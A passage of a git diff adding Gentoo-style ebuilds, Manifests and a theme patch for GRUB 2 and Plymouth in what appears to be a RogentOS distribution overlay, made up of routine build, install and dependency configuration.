+				local TARGET_CPPFLAGS="-march=x86-64 ${TARGET_CPPFLAGS}"
+				export TARGET_CFLAGS TARGET_CPPFLAGS
+			fi ;;
+		guessed) ;;
+		*)	platform=${MULTIBUILD_VARIANT} ;;
+	esac
+
+	# RogentOS: backward compatibility, do not change --with-grubdir
+	local myeconfargs=(
+		--disable-werror
+		--program-prefix=
+		--program-transform-name="s,grub,grub2,"
+		--with-grubdir=grub
+		--libdir="${EPREFIX}"/usr/lib
+		--htmldir="${EPREFIX}"/usr/share/doc/${PF}/html
+		$(use_enable debug mm-debug)
+		$(use_enable debug grub-emu-usb)
+		$(use_enable mount grub-mount)
+		$(use_enable nls)
+		$(use_enable truetype grub-mkfont)
+		$(use_enable libzfs)
+		$(use sdl && use_enable debug grub-emu-sdl)
+		${platform:+--with-platform=}${platform}
+
+		# Let configure detect this where supported
+		$(usex efiemu '' --disable-efiemu)
+	)
+
+	if use multislot; then
+		myeconfargs+=(
+			--program-transform-name="s,grub,grub2,"
+			--with-grubdir=grub2
+		)
+	fi
+
+	autotools-utils_src_configure
+}
+
+src_configure() {
+	use custom-cflags || unset CCASFLAGS CFLAGS CPPFLAGS LDFLAGS
+	use static && append-ldflags -static
+
+	tc-export CC NM OBJCOPY STRIP
+	export TARGET_CC=${TARGET_CC:-${CC}}
+
+	# Portage will take care of cleaning up GRUB_PLATFORMS
+	MULTIBUILD_VARIANTS=( ${GRUB_PLATFORMS:-guessed} )
+	multibuild_parallel_foreach_variant grub_configure
+}
+
+src_compile() {
+	# Sandbox bug 404013.
+	use libzfs && addpredict /etc/dfs:/dev/zfs
+
+	multibuild_foreach_variant autotools-utils_src_compile
+
+	use doc && multibuild_for_best_variant \
+		autotools-utils_src_compile -C docs html
+}
+
+src_test() {
+	# The qemu dependency is a bit complex.
+	# You will need to adjust QEMU_SOFTMMU_TARGETS to match the cpu/platform.
+	multibuild_foreach_variant autotools-utils_src_test
+}
+
+src_install() {
+	multibuild_foreach_variant autotools-utils_src_install \
+		bashcompletiondir="$(get_bashcompdir)"
+
+	use doc && multibuild_for_best_variant run_in_build_dir \
+		emake -C docs DESTDIR="${D}" install-html
+
+	# Install fonts setup hook
+	exeinto /etc/grub.d
+	doexe "${FILESDIR}/00_fonts"
+
+	if use multislot; then
+		mv "${ED%/}"/usr/share/info/grub{,2}.info || die
+	fi
+
+	insinto /etc/default
+	newins "${FILESDIR}"/grub.default-2 grub
+
+	# Backward compatibility with Grub 1.99 executables
+	dosym /usr/sbin/grub2-mkconfig /sbin/grub-mkconfig
+	dosym /usr/sbin/grub2-install /sbin/grub2-install
+
+	cd "${ED}" || die
+	pax-mark mpes $(scanelf -BF %F usr/{bin,sbin})
+}
+
+pkg_postinst() {
+	elog "For information on how to configure grub-2 please refer to the guide:"
+	elog "    http://wiki.gentoo.org/wiki/GRUB2_Quick_Start"
+	if [[ -z ${REPLACING_VERSIONS} ]]; then
+		if ! has_version sys-boot/os-prober; then
+			elog "Install sys-boot/os-prober to enable detection of other operating systems using grub2-mkconfig."
+		fi
+		if ! has_version dev-libs/libisoburn; then
+			elog "Install dev-libs/libisoburn to enable creation of rescue media using grub2-mkrescue."
+		fi
+	fi
+}
diff --git a/sys-boot/grub/grub-2.00-r5.ebuild b/sys-boot/grub/grub-2.00-r5.ebuild
new file mode 100644
index 00000000..9947d93f
--- /dev/null
+++ b/sys-boot/grub/grub-2.00-r5.ebuild
@@ -0,0 +1,286 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+AUTOTOOLS_AUTO_DEPEND=yes
+
+inherit autotools-utils bash-completion-r1 eutils flag-o-matic multibuild pax-utils toolchain-funcs
+
+if [[ ${PV} != 9999 ]]; then
+	MY_P=${P/_/\~}
+	if [[ ${PV} == *_alpha* || ${PV} == *_beta* || ${PV} == *_rc* ]]; then
+		SRC_URI="mirror://gnu-alpha/${PN}/${MY_P}.tar.xz"
+	else
+		SRC_URI="mirror://gnu/${PN}/${MY_P}.tar.xz
+			mirror://gentoo/${MY_P}.tar.xz"
+	fi
+	KEYWORDS="~amd64 ~x86"
+	S=${WORKDIR}/${MY_P}
+	PATCHES=(
+		"${FILESDIR}"/${PN}-1.99-vga-deprecated.patch
+		# vga= not yet deprecated for us
+		"${FILESDIR}"/${PN}-2.00-vga-deprecated-not-yet.patch
+		"${FILESDIR}"/${PN}-1.99-disable-floppies.patch
+		# Genkernel doesn`t support "single" for rescue mode
+		# but rather init_opts=single
+		"${FILESDIR}"/${PN}-2.00-genkernel-initramfs-single.patch
+		# Down with SecureBoot
+		"${FILESDIR}"/${PN}-2.00-secureboot-user-sign-2.patch
+
+		"${FILESDIR}/${P}-parallel-make.patch" #424231
+		"${FILESDIR}/${P}-no-gets.patch" #424703
+		"${FILESDIR}/${P}-config-quoting.patch" #426364
+		"${FILESDIR}/${P}-tftp-endian.patch" # 438612
+		"${FILESDIR}/${P}-hardcoded-awk.patch" #424137
+		"${FILESDIR}/${P}-freebsd.patch" #442050
+		"${FILESDIR}/${P}-compression.patch" #424527
+		"${FILESDIR}/${P}-zfs-feature-flag-support-r1.patch" #455358
+		"${FILESDIR}/${P}-20_linux_xen.patch" #463992
+		"${FILESDIR}/${P}-dmraid.patch" #430748
+		"${FILESDIR}/${P}-texinfo.patch"
+		"${FILESDIR}/${P}-os-prober-efi-system.patch" #477314
+	)
+else
+	inherit bzr
+	EBZR_REPO_URI="http://bzr.savannah.gnu.org/r/grub/trunk/grub/"
+fi
+
+DESCRIPTION="GNU GRUB boot loader"
+HOMEPAGE="http://www.gnu.org/software/grub/"
+
+LICENSE="GPL-3"
+SLOT="2"
+IUSE="custom-cflags debug device-mapper doc efiemu mount +multislot nls static sdl test truetype libzfs"
+
+GRUB_ALL_PLATFORMS=(
+	# everywhere:
+	emu
+	# mips only:
+	qemu-mips yeeloong
+	# amd64, x86, ppc, ppc64:
+	ieee1275
+	# amd64, x86:
+	coreboot multiboot efi-32 pc qemu
+	# amd64, ia64:
+	efi-64
+)
+IUSE+=" ${GRUB_ALL_PLATFORMS[@]/#/grub_platforms_}"
+
+REQUIRED_USE="grub_platforms_qemu? ( truetype )
+	grub_platforms_yeeloong? ( truetype )"
+
+# os-prober: Used on runtime to detect other OSes
+# xorriso (dev-libs/libisoburn): Used on runtime for mkrescue
+# sbsigntool is RogentOS & Argent specific
+RDEPEND="
+	app-crypt/sbsigntool
+	x11-themes/rogentos-artwork-grub
+	app-arch/xz-utils
+	>=sys-libs/ncurses-5.2-r5
+	debug? (
+		sdl? ( media-libs/libsdl )
+	)
+	device-mapper? ( >=sys-fs/lvm2-2.02.45 )
+	libzfs? ( sys-fs/zfs )
+	mount? ( sys-fs/fuse )
+	truetype? (
+		media-libs/freetype
+		media-fonts/dejavu
+		>=media-fonts/unifont-5
+	)
+	ppc? ( sys-apps/ibm-powerpc-utils sys-apps/powerpc-utils )
+	ppc64? ( sys-apps/ibm-powerpc-utils sys-apps/powerpc-utils )
+"
+DEPEND="${RDEPEND}
+	app-misc/pax-utils
+	>=dev-lang/python-2.5.2
+	sys-devel/flex
+	sys-devel/bison
+	sys-apps/help2man
+	sys-apps/texinfo
+	>=sys-devel/autogen-5.10
+	static? (
+		truetype? (
+			app-arch/bzip2[static-libs(+)]
+			media-libs/freetype[static-libs(+)]
+			sys-libs/zlib[static-libs(+)]
+		)
+	)
+	test? (
+		dev-libs/libisoburn
+		app-emulation/qemu
+	)
+"
+RDEPEND+="
+	kernel_linux? (
+		grub_platforms_efi-32? ( sys-boot/efibootmgr )
+		grub_platforms_efi-64? ( sys-boot/efibootmgr )
+	)
+	!multislot? ( !sys-boot/grub:0 )
+"
+
+STRIP_MASK="*/grub/*/*.{mod,img}"
+RESTRICT="test"
+
+QA_EXECSTACK="
+	usr/bin/grub*
+	usr/sbin/grub*
+	usr/lib*/grub/*/*.mod
+	usr/lib*/grub/*/*.module
+	usr/lib*/grub/*/kernel.exec
+	usr/lib*/grub/*/kernel.img
+"
+
+QA_WX_LOAD="
+	usr/lib*/grub/*/kernel.exec
+	usr/lib*/grub/*/kernel.img
+	usr/lib*/grub/*/*.image
+"
+
+QA_PRESTRIPPED="
+	usr/lib.*/grub/.*/kernel.img
+"
+
+pkg_pretend() {
+	if [[ ${MERGE_TYPE} != binary ]]; then
+		# Bug 439082
+		if $(tc-getLD) --version | grep -q "GNU gold"; then
+			eerror "GRUB does not function correctly when built with the gold linker."
+			eerror "Please select the bfd linker with binutils-config."
+			die "GNU gold detected"
+		fi
+	fi
+}
+
+src_prepare() {
+	[[ ${PATCHES} ]] && epatch "${PATCHES[@]}"
+	sed -i -e /autoreconf/d autogen.sh || die
+	if use multislot; then
+		# fix texinfo file name, bug 416035
+		sed -i -e 's/^\* GRUB:/* GRUB2:/' -e 's/(grub)/(grub2)/' docs/grub.texi || die
+	fi
+	epatch_user
+	bash autogen.sh || die
+	autopoint() { return 0; }
+	eautoreconf
+}
+
+grub_configure() {
+	local platform
+
+	case ${MULTIBUILD_VARIANT} in
+		efi-32)
+			platform=efi
+			if [[ ${CTARGET:-${CHOST}} == x86_64* ]]; then
+				local CTARGET=${CTARGET:-i386}
+			fi ;;
+		efi-64)
+			platform=efi
+			if [[ ${CTARGET:-${CHOST}} == i?86* ]]; then
+				local CTARGET=${CTARGET:-x86_64}
+				local TARGET_CFLAGS="-Os -march=x86-64 ${TARGET_CFLAGS}"
+				local TARGET_CPPFLAGS="-march=x86-64 ${TARGET_CPPFLAGS}"
+				export TARGET_CFLAGS TARGET_CPPFLAGS
+			fi ;;
+		guessed) ;;
+		*)	platform=${MULTIBUILD_VARIANT} ;;
+	esac
+
+	# RogentOS: backward compatibility, do not change --with-grubdir
+	local myeconfargs=(
+		--disable-werror
+		--program-prefix=
+		--program-transform-name="s,grub,grub2,"
+		--libdir="${EPREFIX}"/usr/lib
+		--htmldir="${EPREFIX}"/usr/share/doc/${PF}/html
+		$(use_enable debug mm-debug)
+		$(use_enable debug grub-emu-usb)
+		$(use_enable mount grub-mount)
+		$(use_enable nls)
+		$(use_enable truetype grub-mkfont)
+		$(use_enable libzfs)
+		$(use sdl && use_enable debug grub-emu-sdl)
+		${platform:+--with-platform=}${platform}
+
+		# Let configure detect this where supported
+		$(usex efiemu '' --disable-efiemu)
+	)
+
+	# RogentOS: keep --with-grubdir=grub to grub for backward compatibility
+	if use multislot; then
+		myeconfargs+=(
+			--program-transform-name="s,grub,grub2,"
+			--with-grubdir=grub
+		)
+	fi
+
+	autotools-utils_src_configure
+}
+
+src_configure() {
+	use custom-cflags || unset CCASFLAGS CFLAGS CPPFLAGS LDFLAGS
+	use static && append-ldflags -static
+
+	tc-export CC NM OBJCOPY STRIP
+	export TARGET_CC=${TARGET_CC:-${CC}}
+
+	# Portage will take care of cleaning up GRUB_PLATFORMS
+	MULTIBUILD_VARIANTS=( ${GRUB_PLATFORMS:-guessed} )
+	multibuild_parallel_foreach_variant grub_configure
+}
+
+src_compile() {
+	# Sandbox bug 404013.
+	use libzfs && addpredict /etc/dfs:/dev/zfs
+
+	multibuild_foreach_variant autotools-utils_src_compile
+
+	use doc && multibuild_for_best_variant \
+		autotools-utils_src_compile -C docs html
+}
+
+src_test() {
+	# The qemu dependency is a bit complex.
+	# You will need to adjust QEMU_SOFTMMU_TARGETS to match the cpu/platform.
+	multibuild_foreach_variant autotools-utils_src_test
+}
+
+src_install() {
+	multibuild_foreach_variant autotools-utils_src_install \
+		bashcompletiondir="$(get_bashcompdir)"
+
+	use doc && multibuild_for_best_variant run_in_build_dir \
+		emake -C docs DESTDIR="${D}" install-html
+
+	# Install fonts setup hook
+	exeinto /etc/grub.d
+	doexe "${FILESDIR}/00_fonts"
+
+	if use multislot; then
+		mv "${ED%/}"/usr/share/info/grub{,2}.info || die
+	fi
+
+	insinto /etc/default
+	newins "${FILESDIR}"/grub.default-2 grub
+
+	# Backward compatibility with Grub 1.99 executables
+	dosym /usr/sbin/grub2-mkconfig /sbin/grub-mkconfig
+	dosym /usr/sbin/grub2-install /sbin/grub2-install
+
+	cd "${ED}" || die
+	pax-mark mpes $(scanelf -BF %F usr/{bin,sbin})
+}
+
+pkg_postinst() {
+	elog "For information on how to configure grub-2 please refer to the guide:"
+	elog "    http://wiki.gentoo.org/wiki/GRUB2_Quick_Start"
+	if [[ -z ${REPLACING_VERSIONS} ]]; then
+		if ! has_version sys-boot/os-prober; then
+			elog "Install sys-boot/os-prober to enable detection of other operating systems using grub2-mkconfig."
+		fi
+		if ! has_version dev-libs/libisoburn; then
+			elog "Install dev-libs/libisoburn to enable creation of rescue media using grub2-mkrescue."
+		fi
+	fi
+}
diff --git a/sys-boot/grub/grub-2.00.ebuild b/sys-boot/grub/grub-2.00.ebuild
new file mode 100644
index 00000000..533b76c2
--- /dev/null
+++ b/sys-boot/grub/grub-2.00.ebuild
@@ -0,0 +1,369 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+if [[ ${PV} == "9999" ]] ; then
+	EBZR_REPO_URI="http://bzr.savannah.gnu.org/r/grub/trunk/grub/"
+	LIVE_ECLASS="bzr"
+	SRC_URI=""
+	DO_AUTORECONF="true"
+else
+	MY_P=${P/_/\~}
+	if [[ ${PV} == *_alpha* || ${PV} == *_beta* || ${PV} == *_rc* ]]; then
+		SRC_URI="mirror://gnu-alpha/${PN}/${MY_P}.tar.xz"
+	else
+		SRC_URI="mirror://gnu/${PN}/${MY_P}.tar.xz
+		mirror://gentoo/${MY_P}.tar.xz"
+	fi
+	KEYWORDS="~amd64 ~x86"
+	S=${WORKDIR}/${MY_P}
+	DO_AUTORECONF="true"
+fi
+
+inherit eutils flag-o-matic multiprocessing pax-utils toolchain-funcs ${DO_AUTORECONF:+autotools} ${LIVE_ECLASS}
+unset LIVE_ECLASS
+
+DESCRIPTION="GNU GRUB boot loader"
+HOMEPAGE="http://www.gnu.org/software/grub/"
+
+LICENSE="GPL-3"
+SLOT="2"
+IUSE="custom-cflags debug device-mapper doc efiemu mount nls static sdl truetype libzfs"
+
+GRUB_PLATFORMS=(
+	# everywhere:
+	emu
+	# mips only:
+	qemu-mips yeeloong
+	# amd64, x86, ppc, ppc64:
+	ieee1275
+	# amd64, x86:
+	coreboot multiboot efi-32 pc qemu
+	# amd64, ia64:
+	efi-64
+)
+IUSE+=" ${GRUB_PLATFORMS[@]/#/grub_platforms_}"
+
+REQUIRED_USE="grub_platforms_qemu? ( truetype )"
+
+# os-prober: Used on runtime to detect other OSes
+# xorriso (dev-libs/libisoburn): Used on runtime for mkrescue
+RDEPEND="
+	x11-themes/rogentos-artwork-grub
+	app-arch/xz-utils
+	>=sys-libs/ncurses-5.2-r5
+	debug? (
+		sdl? ( media-libs/libsdl )
+	)
+	device-mapper? ( >=sys-fs/lvm2-2.02.45 )
+	libzfs? ( sys-fs/zfs-userspace )
+	mount? ( sys-fs/fuse )
+	truetype? (
+		media-libs/freetype
+		media-fonts/dejavu
+		>=media-fonts/unifont-5
+	)
+	ppc? ( sys-apps/ibm-powerpc-utils sys-apps/powerpc-utils )
+	ppc64? ( sys-apps/ibm-powerpc-utils sys-apps/powerpc-utils )
+"
+DEPEND="${RDEPEND}
+	>=dev-lang/python-2.5.2
+	sys-devel/flex
+	sys-devel/bison
+	sys-apps/help2man
+	sys-apps/texinfo
+	static? (
+		truetype? (
+			app-arch/bzip2[static-libs(+)]
+			media-libs/freetype[static-libs(+)]
+			sys-libs/zlib[static-libs(+)]
+		)
+	)
+"
+RDEPEND+="
+	grub_platforms_efi-32? ( sys-boot/efibootmgr )
+	grub_platforms_efi-64? ( sys-boot/efibootmgr )
+"
+if [[ -n ${DO_AUTORECONF} ]] ; then
+	DEPEND+=" >=sys-devel/autogen-5.10"
+else
+	DEPEND+=" app-arch/xz-utils"
+fi
+
+export STRIP_MASK="*/grub/*/*.{mod,img}"
+
+QA_EXECSTACK="
+	usr/bin/grub*
+	usr/sbin/grub*
+	usr/lib*/grub/*/*.mod
+	usr/lib*/grub/*/kernel.exec
+	usr/lib*/grub/*/kernel.img
+	usr/lib*/grub/*/setjmp.module
+"
+
+QA_WX_LOAD="
+	usr/lib*/grub/*/kernel.exec
+	usr/lib*/grub/*/kernel.img
+	usr/lib*/grub/*/*.image
+"
+
+QA_PRESTRIPPED="
+	usr/lib.*/grub/.*/kernel.img
+"
+
+grub_run_phase() {
+	local phase=$1
+	local platform=$2
+	[[ -z ${phase} || -z ${platform} ]] && die "${FUNCNAME} [phase] [platform]"
+
+	[[ -d "${WORKDIR}/build-${platform}" ]] || \
+		{ mkdir "${WORKDIR}/build-${platform}" || die ; }
+	pushd "${WORKDIR}/build-${platform}" > /dev/null || die
+
+	echo ">>> Running ${phase} for platform \"${platform}\""
+	echo ">>> Working in: \"${WORKDIR}/build-${platform}\""
+
+	grub_${phase} ${platform}
+
+	popd > /dev/null || die
+}
+
+grub_src_configure() {
+	local platform=$1
+	local with_platform=
+	local enable_efiemu="--disable-efiemu"
+
+	[[ -z ${platform} ]] && die "${FUNCNAME} [platform]"
+
+	# Used below for efi cross-building
+	tc-export CC NM OBJCOPY STRIP
+
+	estack_push CTARGET "${CTARGET}"
+	estack_push TARGET_CC "${TARGET_CC}"
+	estack_push TARGET_CFLAGS "${TARGET_CFLAGS}"
+	estack_push TARGET_CPPFLAGS "${TARGET_CPPFLAGS}"
+
+	case ${platform} in
+		efi-32)
+			if [[ ${CHOST} == x86_64* ]]; then
+				CTARGET="${CTARGET:-i386}"
+				TARGET_CC="${TARGET_CC:-${CC}}"
+				export TARGET_CC
+			fi
+			with_platform="--with-platform=efi"
+			;;
+		efi-64)
+			if [[ ${CHOST} == i?86* ]]; then
+				CTARGET="${CTARGET:-x86_64}"
+				TARGET_CC="${TARGET_CC:-${CC}}"
+				TARGET_CFLAGS="-Os -march=x86-64 ${TARGET_CFLAGS}"
+				TARGET_CPPFLAGS="-march=x86-64 ${TARGET_CPPFLAGS}"
+				export TARGET_CC TARGET_CFLAGS TARGET_CPPFLAGS
+			fi
+			with_platform="--with-platform=efi"
+			;;
+		guessed) ;;
+		*)
+			with_platform="--with-platform=${platform}"
+			case ${CTARGET:-${CHOST}} in
+				i?86*|x86_64*)
+					enable_efiemu=$(use_enable efiemu)
+					;;
+			esac
+			;;
+	esac
+
+	# Rogentos: backward compatibility, do not change --with-grubdir
+	ECONF_SOURCE="${S}" \
+	econf \
+		--htmldir="${EPREFIX}/usr/share/doc/${PF}/html" \
+		--disable-werror \
+		--program-prefix= \
+		--program-transform-name="s,grub,grub2," \
+		--with-grubdir=grub \
+		${with_platform} \
+		$(use_enable debug mm-debug) \
+		$(use_enable debug grub-emu-usb) \
+		$(use_enable device-mapper) \
+		${enable_efiemu} \
+		$(use_enable mount grub-mount) \
+		$(use_enable nls) \
+		$(use_enable truetype grub-mkfont) \
+		$(use_enable libzfs) \
+		$(use sdl && use_enable debug grub-emu-sdl)
+
+	estack_pop CTARGET CTARGET || die
+	estack_pop TARGET_CC TARGET_CC || die
+	estack_pop TARGET_CFLAGS TARGET_CFLAGS || die
+	estack_pop TARGET_CPPFLAGS TARGET_CPPFLAGS || die
+}
+
+grub_src_compile() {
+	default_src_compile
+	pax-mark -mpes "${grub_binaries[@]}"
+}
+
+grub_build_docs() {
+	emake -C docs html
+}
+
+grub_src_install() {
+	default_src_install
+}
+
+grub_install_docs() {
+	emake -C docs DESTDIR="${D}" install-html
+}
+
+src_prepare() {
+
+	# Sabayon crufty patchset
+	epatch "${FILESDIR}"/${PN}-1.99-genkernel.patch #256335
+	epatch "${FILESDIR}"/${PN}-1.99-vga-deprecated.patch
+	# vga= not yet deprecated for us
+	epatch "${FILESDIR}"/${PN}-2.00-vga-deprecated-not-yet.patch
+	epatch "${FILESDIR}"/${PN}-1.99-disable-floppies.patch
+	# Genkernel doesn't support "single" for rescue mode
+	# but rather init_opts=single
+	epatch "${FILESDIR}"/${PN}-2.00-genkernel-initramfs-single.patch
+
+	# Rogentos patch for customization
+	epatch "${FILESDIR}"/${P}-rogentos-patch.patch	
+
+	if [[ ${PV} != 9999 ]]; then
+		epatch "${FILESDIR}/${P}-parallel-make.patch" #424231
+		epatch "${FILESDIR}/${P}-no-gets.patch" #424703
+		epatch "${FILESDIR}/${P}-config-quoting.patch" #426364
+	fi
+
+	# fix texinfo file name, bug 416035
+	sed -i \
+		-e 's/^\* GRUB:/* GRUB2:/' \
+		-e 's/(grub)/(grub2)/' -- \
+		"${S}"/docs/grub.texi
+
+	epatch_user
+
+	# autogen.sh does more than just run autotools
+	if [[ -n ${DO_AUTORECONF} ]] ; then
+		sed -i -e '/^autoreconf/s:^:set +e; e:' autogen.sh || die
+		(
+			autopoint() { :; }
+			. ./autogen.sh
+		) || die
+	fi
+
+	# install into the right dir for eselect #372735
+	sed -i \
+		-e '/^bashcompletiondir =/s:=.*:= $(datarootdir)/bash-completion:' \
+		util/bash-completion.d/Makefile.in || die
+
+	# get enabled platforms
+	GRUB_ENABLED_PLATFORMS=""
+	local i
+	for i in ${GRUB_PLATFORMS[@]}; do
+		use grub_platforms_${i} && GRUB_ENABLED_PLATFORMS+=" ${i}"
+	done
+	[[ -z ${GRUB_ENABLED_PLATFORMS} ]] && GRUB_ENABLED_PLATFORMS="guessed"
+	einfo "Going to build following platforms: ${GRUB_ENABLED_PLATFORMS}"
+}
+
+src_configure() {
+	local i
+
+	use custom-cflags || unset CCASFLAGS CFLAGS CPPFLAGS LDFLAGS
+	use static && append-ldflags -static
+
+	# Sandbox bug 404013.
+	use libzfs && addpredict /etc/dfs:/dev/zfs
+
+	multijob_init
+	for i in ${GRUB_ENABLED_PLATFORMS}; do
+		multijob_child_init grub_run_phase ${FUNCNAME} ${i}
+	done
+	multijob_finish || die
+}
+
+src_compile() {
+	# Used for pax marking in grub_src_compile
+	local grub_binaries=(
+		grub-editenv
+		grub-fstest
+		grub-menulst2cfg
+		grub-mkimage
+		grub-mklayout
+		grub-mkpasswd-pbkdf2
+		grub-mkrelpath
+		grub-script-check
+		grub-bios-setup
+		grub-ofpathname
+		grub-probe
+		grub-sparc64-setup
+	)
+	use mount && grub_binaries+=( grub-mount )
+	use truetype && grub_binaries+=( grub-mkfont )
+
+	local i
+
+	for i in ${GRUB_ENABLED_PLATFORMS}; do
+		grub_run_phase ${FUNCNAME} ${i}
+	done
+
+	# Just build docs once
+	use doc && grub_run_phase build_docs ${i}
+}
+
+src_install() {
+	local i
+
+	for i in ${GRUB_ENABLED_PLATFORMS}; do
+		grub_run_phase ${FUNCNAME} ${i}
+	done
+
+	use doc && grub_run_phase install_docs ${i}
+
+	mv "${ED}"usr/share/info/grub{,2}.info || die
+
+	# can't be in docs array as we use default_src_install in different builddir
+	dodoc AUTHORS ChangeLog NEWS README THANKS TODO
+
+	# Install fonts setup hook
+	exeinto /etc/grub.d
+	doexe "${FILESDIR}/00_fonts"
+
+	# TODO: still needed?
+	cat <<-EOF >> "${ED}"/lib*/grub/grub-mkconfig_lib
+	GRUB_DISTRIBUTOR="Rogentos"
+EOF
+
+	insinto /etc/default
+	newins "${FILESDIR}"/grub.default-2 grub
+
+	# Backward compatibility with Grub 1.99 executables
+	dosym /usr/sbin/grub2-mkconfig /sbin/grub-mkconfig
+	dosym /usr/sbin/grub2-install /sbin/grub2-install
+}
+
+pkg_postinst() {
+	# install Sabayon splash here, cannot touch boot/grub inside
+	# src_install
+	cp "${ROOT}/usr/share/grub/default-splash.png" "${ROOT}boot/grub/default-splash.png" || \
+		ewarn "cannot install default splash file!"
+
+	# display the link to guide
+	elog "For information on how to configure grub-2 please refer to the guide:"
+	elog "    http://wiki.gentoo.org/wiki/GRUB2_Quick_Start"
+	if ! has_version sys-boot/os-prober; then
+		elog "Install sys-boot/os-prober to enable detection of other operating systems using grub2-mkconfig."
+	fi
+	if ! has_version dev-libs/libisoburn; then
+		elog "Install dev-libs/libisoburn to enable creation of rescue media using grub2-mkrescue."
+	fi
+	if has_version sys-boot/grub:0; then
+		ewarn "If you want to keep GRUB Legacy (grub-0.97) installed, please run"
+		ewarn "the following to add sys-boot/grub:0 to your world file."
+		ewarn "emerge --noreplace sys-boot/grub:0"
+	fi
+}
diff --git a/sys-boot/plymouth-extras/Manifest b/sys-boot/plymouth-extras/Manifest
new file mode 100644
index 00000000..e1703677
--- /dev/null
+++ b/sys-boot/plymouth-extras/Manifest
@@ -0,0 +1,2 @@
+DIST plymouth-0.8.8.tar.bz2 1143549 SHA256 1bada4e1d3a31a5a99adc2db83f5452d9818839cda51a6e430f044f6281d759b SHA512 97a20a8622c7ea51000e9b6d88a25fd84d7001fb2727527a72344b555f389c74954bd0be0bffd9cc9175b5c5a0d28e95af058fce79ec7531f736619ee74d8d94 WHIRLPOOL badb44a6c1eb004772e67cfe3cda601d22590d813ebd4bce5f0fcb325c445246916ba30e083c6aa98b73b460ddf4f2caf9bf2727d22bbbc5414f11a5cf0e5ddf
+EBUILD plymouth-extras-0.8.8-r1.ebuild 1283 SHA256 75dd4d5dc0d285858ccb4350f5196dfa0e870143c7c8832d6b313ab1c0d56c57 SHA512 3f592bad9d34cb7caa8c3c08f3d65401c2e319287317d0d01b98cda86de8e381ea83eb378d55d81e0f96f00742594febeea6052371197f7ac0123926f5f11500 WHIRLPOOL efa11ff6d80af3d67d45a643db19596d6ee6f95f1ddf2590ce6a54a99a461dcd7e0d026e98374da7a2d03344f3566bb191603d5a274016ebc4049dce37a208d5
diff --git a/sys-boot/plymouth-extras/plymouth-extras-0.8.8-r1.ebuild b/sys-boot/plymouth-extras/plymouth-extras-0.8.8-r1.ebuild
new file mode 100644
index 00000000..b24ea43d
--- /dev/null
+++ b/sys-boot/plymouth-extras/plymouth-extras-0.8.8-r1.ebuild
@@ -0,0 +1,52 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit autotools-utils systemd toolchain-funcs
+
+DESCRIPTION="X11 and Label plugins for Plymouth"
+HOMEPAGE="http://cgit.freedesktop.org/plymouth/"
+SRC_URI="http://www.freedesktop.org/software/plymouth/releases/${P/-extras}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~ia64 ~ppc ~ppc64 ~sparc ~x86"
+IUSE="debug static-libs"
+
+CDEPEND=">=media-libs/libpng-1.2.16
+	dev-libs/glib
+	>=x11-libs/gtk+-2.12:2
+	>=x11-libs/pango-1.21
+	~sys-boot/plymouth-${PV}[-gtk,-pango,debug=]"
+DEPEND="${CDEPEND}
+	virtual/pkgconfig
+	"
+RDEPEND="${CDEPEND}"
+
+S="${WORKDIR}/${P/-extras}"
+
+src_configure() {
+	local myeconfargs=(
+		--with-system-root-install
+		--localstatedir=/var
+		--enable-gtk
+		--enable-pango
+		$(use_enable debug tracing)
+		$(use_enable libkms)
+		$(use_enable video_cards_intel libdrm_intel)
+		$(use_enable video_cards_radeon libdrm_radeon)
+		)
+	autotools-utils_src_configure
+}
+
+src_install() {
+	local build_dir="${BUILD_DIR}"
+
+	# Build the x11 plugin
+	BUILD_DIR="${build_dir}/src/plugins/renderers/x11" autotools-utils_src_install
+
+	# Build the label plugin
+	BUILD_DIR="${build_dir}/src/plugins/controls/label" autotools-utils_src_install
+}
diff --git a/sys-boot/plymouth/Manifest b/sys-boot/plymouth/Manifest
new file mode 100644
index 00000000..e9eb462d
--- /dev/null
+++ b/sys-boot/plymouth/Manifest
@@ -0,0 +1 @@
+DIST plymouth-0.8.8.tar.bz2 1143549 SHA256 1bada4e1d3a31a5a99adc2db83f5452d9818839cda51a6e430f044f6281d759b SHA512 97a20a8622c7ea51000e9b6d88a25fd84d7001fb2727527a72344b555f389c74954bd0be0bffd9cc9175b5c5a0d28e95af058fce79ec7531f736619ee74d8d94 WHIRLPOOL badb44a6c1eb004772e67cfe3cda601d22590d813ebd4bce5f0fcb325c445246916ba30e083c6aa98b73b460ddf4f2caf9bf2727d22bbbc5414f11a5cf0e5ddf
diff --git a/sys-boot/plymouth/files/plymouth-rogentos-defaults.patch b/sys-boot/plymouth/files/plymouth-rogentos-defaults.patch
new file mode 100644
index 00000000..17835466
--- /dev/null
+++ b/sys-boot/plymouth/files/plymouth-rogentos-defaults.patch
@@ -0,0 +1,9 @@
+diff -Nurp plymouth-0.8.8.orig/src/plymouthd.defaults plymouth-0.8.8/src/plymouthd.defaults
+--- plymouth-0.8.8.orig/src/plymouthd.defaults	2012-09-26 18:50:53.000000000 +0200
++++ plymouth-0.8.8/src/plymouthd.defaults	2013-11-15 14:10:58.638895827 +0100
+@@ -1,4 +1,4 @@
+ # Distribution defaults. Changes to this file will get overwritten during
+ # upgrades.
+ [Daemon]
+-Theme=spinner
++Theme=rogentos
diff --git a/sys-boot/plymouth/metadata.xml b/sys-boot/plymouth/metadata.xml
new file mode 100644
index 00000000..6a4d8685
--- /dev/null
+++ b/sys-boot/plymouth/metadata.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>proxy-maintainers</herd>
+<maintainer>
+	<email>enrico.tagliavini@gmail.com</email>
+	<name>Enrico Tagliavini</name>
+</maintainer>
+	<use>
+		<flag name="gdm">Enables smooth transition to GDM</flag>
+		<flag name="libkms">Provides abstraction to the DRM drivers (intel,
+			nouveau and vmwgfx at this moment)</flag>
+		<flag name="openrc">Installs plugin for OpenRC</flag>
+		<flag name="pango">Adds support for printing text on splash screen and
+			text prompts, e.g. for password</flag>
+	</use>
+	<longdescription lang="en">
